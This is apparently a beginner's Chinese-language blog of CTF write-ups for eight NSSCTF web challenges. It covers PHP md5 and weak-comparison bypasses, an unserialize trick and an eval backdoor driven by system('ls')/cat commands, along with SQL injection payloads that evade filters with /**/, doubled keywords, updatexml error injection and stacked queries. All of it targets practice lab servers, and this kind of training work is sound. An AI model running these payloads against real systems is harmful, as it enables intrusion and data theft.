nssctf学习中
这是一个基于nssctf做题的wp,本人纯新手。 做题没有顺序,基本是看我自己写哪一题,就写这题的wp,不分难度的。
#1.[NSSCTF 2022 Spring Recruit]babyphp
题目内容:
\<?phphighlight_file(__FILE__);include_once('flag.php');if(isset($_POST['a'])&&!preg_match('/[0-9]/',$_POST['a'])&&intval($_POST['a'])){ if(isset($_POST['b1'])&&$_POST['b2']){ if($_POST['b1']!=$_POST['b2']&&md5($_POST['b1'])===md5($_POST['b2'])){ if($_POST['c1']!=$_POST['c2']&&is_string($_POST['c1'])&&is_string($_POST['c2'])&&md5($_POST['c1'])==md5($_POST['c2'])){ echo flag; }else{ echo "yee"; } }else{ echo "nop"; } }else{ echo "go on"; }}else{ echo "let's get some php";}?> let's get some php_分析代码
首先,isset(_POST['a']) && !preg_match('/[0-9]/', $_POST['a']) && intval(_POST['a'])
存在a,a不含0-9的数字,intval(_POST[‘a’]) 必须为真
查询代码,intval() 在转换时会尝试从字符串开头提取数字,直到遇到非数字字符。
preg_match 是 PHP 中用于执行正则表达式匹配的函数。
所有a可以用数组a[]=1
这样均满足 所有条件
第二,isset(_POST['b1']) && _POST['b2']
b1,b2有值且非空,然后比较md5
同样数组,MD5返回null
b1[]=2,b2[]=3
最后,`_POST['c1'] != _POST[‘c2’] && is_string(_POST['c1']) && is_string(_POST[‘c2’]) && md5($_POST[‘c1’]) == md5(_POST[‘c2’])`
c1与c2均为字符串,且不同,又比较md5还是若比较,上网随便查一下,用科学计数法MD5,0e被当成0,随便找md5为0e开头的字符串。
所以 C:\Users\G1731>curl -X POST -d “a[]=1&b1[]=1&b2[]=2&c1=240610708&c2=QNKCDZO” http://node4.anna.nssctf.cn:28382/
用curl执行post,
得到flag,NSSCTF{2fd7b1ec-41c5-4895-a5d3-bc56cb172231}
#2.[HUBUCTF 2022 新生赛]checkin
<?phpshow_source(__FILE__);username = "this_is_secret";$password = "this_is_not_known_to_you";include("flag.php");//here I changed those two$info = isset($_GET['info'])? $_GET['info']: "" ;$data_unserialize = unserialize($info);if ($data_unserialize['username']==$username&&$data_unserialize['password']==$password){ echo flag;}else{ echo "username or password error!";
}
?>get传参,分析一下代码 username = “this_is_secret”; password = “this_is_not_known_to_you”; 定义账号,密码,然后又here I changed those two ,那直接就进入猜测阶段了,因为这用户名和密码要是有具体值,那不给其他提示就是猜了,又加上这是新生赛的题,初步猜测是空的吧。 data_unserialize = unserialize(_GET[‘info’]); 反序列化,去查一下作用,unserialize() 函数会将用户通过 GET 参数 info 传入的字符串,还原为 PHP 中的变量。 if (data_unserialize[‘username’]==username&&data_unserialize[‘password’]==$password){ echo flag; }else{ echo “username or password error!”; 这一段要求弱比较我们传入的是否与服务器相等。 大抵思路就这样了,反序列化我不是很懂,所以问了一下ai
一、先明确序列化字符串的通用格式(数组类型) PHP 中数组序列化后的格式是:a:数组长度:{键1的类型:键1长度:“键1值”;值1的类型:值1长度:值1内容;键2的类型:键2长度:“键2值”;值2的类型:值2长度:值2内容;} a:表示变量类型是 array(数组) i:表示变量类型是 integer(整数) s:表示变量类型是 string(字符串) 冒号后的数字:表示 “长度”(数组长度 / 字符串长度,整数无长度属性) 仔细看看后,我们就能推出我们要传参的值了,info=a:2:{s:8:“username”;i:0;s:8:“password”;i:0;} http: //node5.anna.nssctf.cn:26551/?info=a:2:{s:8:%22username%22;i:0;s:8:%22password%22;i:0;} 拿下flag NSSCTF{ecd62ebd-98ea-4a71-aded-efab0995f71d} 也是运气好一点,弱比较成立了,不然又要卡一会了。
#3.[羊城杯 2020]easycon
http: //node4.anna.nssctf.cn:28048/,给了个靶机点进去一看

开始扫描......http: //node4.anna.nssctf.cn:28048/index.phphttp: //node4.anna.nssctf.cn:28048/.htaccess-localhttp: //node4.anna.nssctf.cn:28048/.htaccess.txthttp: //node4.anna.nssctf.cn:28048/.htaccess/http: //node4.anna.nssctf.cn:28048/.htaccess.BAK没什么特别明显的东西,看一下robot
http: //node4.anna.nssctf.cn:28048/robots.txt<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at node4.anna.nssctf.cn Port 28048</address></body></html>404都来了,看来目前是彻底没头绪了,看看能不能直接访问源码 C: \Users\G1731>curl http://node4.anna.nssctf.cn:28048/index.php
<head> <style> div.main { margin-left:auto; margin-right:auto; } body { background-color: #FAEBA7; }</style> <title> welcome to YCBCTF </title></head><body><img src=gw2.jpg width=49% height=60%> <img src=gw.jpg width=49% height=60%>
<br></div> </body></html>
<script>alert('eval post cmd')</script>直接访问网站是加载不出来的,我用curl才有回应,这个代码告诉我们通过POST请求提交cmd,利用eval执行命令,那我们就试一试我的常用两件套,ls -la与cat
<html><head> <style> div.main { margin-left:auto; margin-right:auto; } body { background-color: #FAEBA7; }</style> <title> welcome to YCBCTF </title></head><body><img src=gw2.jpg width=49% height=60%> <img src=gw.jpg width=49% height=60%>
<br></div> </body></html>
<script>alert('eval post cmd')</script>total 64drwxr-xr-x 1 root root 4096 Nov 14 09:52 .drwxr-xr-x 1 root root 4096 Nov 14 09:52 ..-rwxr-xr-x 1 root root 0 Nov 14 09:52 .dockerenvlrwxrwxrwx 1 root root 7 Oct 6 2021 bin -> usr/bindrwxr-xr-x 2 root root 4096 Apr 15 2020 bootdrwxr-xr-x 5 root root 340 Nov 14 09:52 devdrwxr-xr-x 1 root root 4096 Nov 14 09:52 etcdrwxr-xr-x 2 root root 4096 Apr 15 2020 homelrwxrwxrwx 1 root root 7 Oct 6 2021 lib -> usr/liblrwxrwxrwx 1 root root 9 Oct 6 2021 lib32 -> usr/lib32lrwxrwxrwx 1 root root 9 Oct 6 2021 lib64 -> usr/lib64lrwxrwxrwx 1 root root 10 Oct 6 2021 libx32 -> usr/libx32drwxr-xr-x 2 root root 4096 Oct 6 2021 mediadrwxr-xr-x 2 root root 4096 Oct 6 2021 mntdrwxr-xr-x 2 root root 4096 Oct 6 2021 optdr-xr-xr-x 1082 root root 0 Nov 14 09:52 procdrwx------ 2 root root 4096 Oct 6 2021 rootdrwxr-xr-x 1 root root 4096 Jan 19 2022 runlrwxrwxrwx 1 root root 8 Oct 6 2021 sbin -> usr/sbindrwxr-xr-x 2 root root 4096 Oct 6 2021 srvdr-xr-xr-x 13 root root 0 Nov 14 09:52 sysdrwxrwxrwt 1 root root 4096 Nov 14 09:52 tmpdrwxr-xr-x 1 root root 4096 Oct 6 2021 usrdrwxr-xr-x 1 root root 4096 Jan 19 2022 var我靠,居然没看见flag相关的文件,那猫猫学长暂时不能出击了,再看看网站目录有没有
method: 'POST', headers: {'Content-Type': 'application/x-www-form-urlencoded'}, body: 'cmd=system("ls -l");'}).then(r => r.text()).then(data => console.log(data)).catch(error => console.error('Error:', error));Promise {<pending>}VM21: 1 Fetch finished loading: POST "http://node4.anna.nssctf.cn:28048/index.php".(anonymous) @ VM21:1VM21: 7<html><head> <style> div.main { margin-left:auto; margin-right:auto; } body { background-color: #FAEBA7; }</style> <title> welcome to YCBCTF </title></head><body><img src=gw2.jpg width=49% height=60%> <img src=gw.jpg width=49% height=60%>
<br></div> </body></html>
<script>alert('eval post cmd')</script>total 220-rwxrwxrwx 1 root root 129904 Aug 29 2020 bbbbbbbbb.txt-rwxrwxrwx 1 root root 49898 Aug 29 2020 gw.jpg-rwxrwxrwx 1 root root 22308 Aug 29 2020 gw2.jpg-rwxrwxrwx 1 root root 10918 Jan 19 2022 index.html-rwxrwxrwx 1 root root 394 Aug 29 2020 index.php其实本来想用curl的,但是一直显示没连接上服务器,只能试一试JavaScript了,不过还好成功了,这里面返回了一个巨可疑的文件,bbbbbbbbb.txt,就是它,拿下
method: 'POST', headers: {'Content-Type': 'application/x-www-form-urlencoded'}, body: 'cmd=system("cat bbbbbbbbb.txt");'}).then(r => r.text()).then(data => console.log(data)).catch(error => console.error('Error:', error));执行该post后,我们得到了一串特别特别长的base64
</script>/9j/4AAQSkZJRgABAQAAAQABAAD/2wBDAAYJ..........................................很长很长,我就不贴出来了,我放出来的不足千分之一,稍微研究了一下,发现这是图片base64解码的结果,我们扔给随波逐流,让它解码一下,最后得到这么一张图片

#4.[GDOUCTF 2023]受不了一点
给了一个靶机,点开看一下
error_reporting(0);header("Content-type:text/html;charset=utf-8");if(isset(_POST['gdou'])&&isset($_POST['ctf'])){ $b=$_POST['ctf']; $a=$_POST['gdou']; if($_POST['gdou']!=$_POST['ctf'] && md5($a)===md5($b)){ if(isset($_COOKIE['cookie'])){ if ($_COOKIE['cookie']=='j0k3r'){ if(isset($_GET['aaa']) && isset($_GET['bbb'])){ $aaa=$_GET['aaa']; $bbb=$_GET['bbb']; if($aaa==114514 && $bbb==114514 && $aaa!=$bbb){ $give = 'cancanwordflag'; $get ='hacker!'; if(isset($_GET['flag']) && isset($_POST['flag'])){ die($give); } if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){ die($get); } foreach ($_POST as $key => $value) { $$key = $value; } foreach ($_GET as $key => $value) { $$key = $$value; } echo flag; }else{ echo "洗洗睡吧"; } }else{ echo "行不行啊细狗"; } }}else { echo '菜菜';}}else{ echo "就这?";}}else{ echo "别来沾边";}?>别来沾边想要获得flag,要过5关。
1.if(_POST['gdou']!=$_POST['ctf'] && md5($a)===md5(b)){
md5碰撞,弱比较,利用数组md5返回为null,构造两个数组。
2.if(isset(_COOKIE['cookie'])){ if (_COOKIE['cookie']=='j0k3r'){
强制cookie,Cookie: cookie=j0k3r。
3.if(aaa==114514 && $bbb==114514 && $aaa!=bbb){
依旧弱比较,aaa不等于bbb,根据字符串在弱比较时会转化成数字,直接搞定。
4.if(isset(_GET['flag']) && isset($_POST['flag'])){ die($give); } if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){ die(get); }
如果post或者get出现flag,直接die掉。
5.foreach (_POST as $key => $value) { $$key = $value; } foreach ($_GET as $key => $value) { $$key = $$value; } echo $flag;
想要获得flag,就不能覆盖flag的变量名,即在整个post和get的历遍过程中完全不触flag。
所以我们最后的指令就完成了。
curl -X POST “http://node4.anna.nssctf.cn:28925/?aaa=114514&bbb=114514a” -H “Cookie: cookie=j0k3r” -d “gdou[]=1&ctf[]=2”
拿到flag,NSSCTF{2de514f9-94c3-4f50-b0fe-168893466643} 这题其实最后一步有点搞的,我一开始都没看懂是啥,要怎么不影响flag,也是大道至简的拿到flag了。
#5.[SWPUCTF 2022 新生赛]ez_sql

行吧,没办法了,nssctf就是这样的,做完,就不能在做了。
这是一题POST类的sql,要求传nss为参数。
经过测试发现,正好当nss=1‘时,满足闭合条件。
测试列数:
nss=1' ORDER BY ? --+
发现空格不被识别,导致错误,直接用/**/代替。
nss=1'/**/ORDER/**/BY/**/?/**/#
但是即便这样,页面显示语句出现der,而没有or,说明or吃过滤了。
nss=1'/**/OORRDER/**/BY/**/?/**/#
这样后就成功过去,发现列数为3.
直接尝试:
id=-1'/**/UNION/**/SELECT/**/1,database(),3#
找不到问题点。
尝试报错注入:
发现and没出现,尝试绕过。
nss=-1'/**/AANDND/**/updatexml(1,concat(0x7e,database(),0x7e),1)#
得到回显:
NSS_tb
进行爆表:
nss=-1'/**/AANDND/**/updatexml(1,concat(0x7e,(sElEcT/**/table_name/**/fRoM/**/infoORrmation_schema.tables/**/wHeRe/**/table_schema='NSS_db'/**/limit/**/0,1),0x7e),1)#
得到:
NSS_tb users
注入:
nss=-1'/**/AANDND/**/updatexml(1,concat(0x7e,(sElEcT/**/Secr3t/**/fRoM/**/NSS_tb/**/limit/**/0,1),0x7e),1)#
得到:flll444g Secr3t 还有一个啥,我忘了,也打不开网页了。
最后flag由于报错注入的限制,需要两段注入:
nss=-1'/**/AANDND/**/updatexml(1,concat(0x7e,(sElEcT/**/mid(Secr3t,61,30)/**/fRoM/**/NSS_tb/**/limit/**/0,1),0x7e),1)#
组合后得到flag:
NSSCTF{cda53f56-6210-48d9-9dde-cd2d2b0d77dc}
#6.[suctf 2019]EasySQL

经过简单的测试发现:
空格,union,updatexml,extractvalue,and,or,“,&,for,from,like这些全部被过滤,尝试^异或,正好成功了。
探测出当前数据库名字为3个字符,但是观察黑名单,字符注入和报错注入的关键函数都吃过滤,要么就绕过,要么就换种方法。
所以,直接试一下堆叠注入,发现:
1;show databases#
正好可以,那就:
1;show/**/tables;
得到: Array ( [0] => 1 ) Array ( [0] => Flag )
读取过程中发现,Flag也吃过滤。
尝试绕过:
fLaG,flag,flaG,FLAG 均不行,疑似所有变体都吃拦截。 * 没有吃过滤,尝试 * 匹配。
但均失败。
多次进行读取测试,发现均失败,似乎后端代码不是正常我认识的sql语句。
看了一下wp。
?????
select $_POST[‘query’] || flag from Flag这啥,已经包含一个逻辑与了,那直接 *,1 就直接出来了。

NSSCTF{52f80380-dc4c-494d-9b01-5ddfe49a61d8}
#7.[SWPUCTF 2021 新生赛]sql

观察html,发现get 参数为wllm。
测试了一下。
字符型,过滤了空格和—+,#。
wllm='/**/order/**/by/**/3%23
确定列数3.
wllm='/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/database()%23
找到目标,LTLT_flag。
id=-1 UNION SELECT 1, group_concat(column_name), 3 FROM information_schema.columns WHERE table_name = '表名' **(读表)**
由于我自己笔记里的记录为引号包裹的表名,题目里面引号又die了。
所以换成16进制数据。
wllm=-1'/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/0x4c544c545f666c6167%23
发现目标列,flag。
wllm=-1'/**/union/**/select/**/1,group_concat(concat(id,0x7e,flag)),3/**/from/**/LTLT_flag%23
wllm=-1'/**/union/**/select/**/1,group_concat(mid(flag,15,30)),3/**/from/**/LTLT_flag%23
wllm=-1'/**/union/**/select/**/1,mid(flag,40),3/**/from/**/LTLT_flag%23
wllm=-1'/**/union/**/select/**/1,mid(flag,20),3/**/from/**/LTLT_flag/**/where/**/id=1%23
wllm=-1'/**/union/**/select/**/1,flag,3/**/from/**/LTLT_flag/**/where/**/id=2%23由于读取数据的限制,我试了好几次才拿到完整的flag。

NSSCTF{1de65552-bb8d-4af6-a726-3213451005a7}
#8.[GXYCTF 2019]BabySqli
一个登入页面,多次测试后,发现只有当用户名为admin时,才会出现wrong pass。
抓包,发现参数为:

name跟pw。而且html上还有一个base64加32的信息。
解密得到: select * from user where username = '$name'
注入点为name。
随便几次测试发现
admin' order by 3# 正常 。 admin' order by 4# 报错。
说明三列。
本来进行正常攻击,但之后就是绕过去也是wrong pass。
也是没招了,看了一下wp。
不是,传个数组,然后发现是md5加密????
后端具体逻辑,就是第二列为用户名,第三列为md5解密的密码,要跟我们输入的密码进行比较。
name=admi' union select 1,'admin','c4ca4238a0b923820dcc509a6f75849b'#&pw=1不是,这个真的不算是爆破吗,正常谁传参数组????
好阴啊。

NSSCTF{8c9f1139-03bf-4421-af17-c2b48003c861}
版权声明:本文由白白毛毛创作,转载请注明出处。
文章分享
如果这篇文章对你有帮助,欢迎分享给更多人!
部分内容可能已过时
Firefly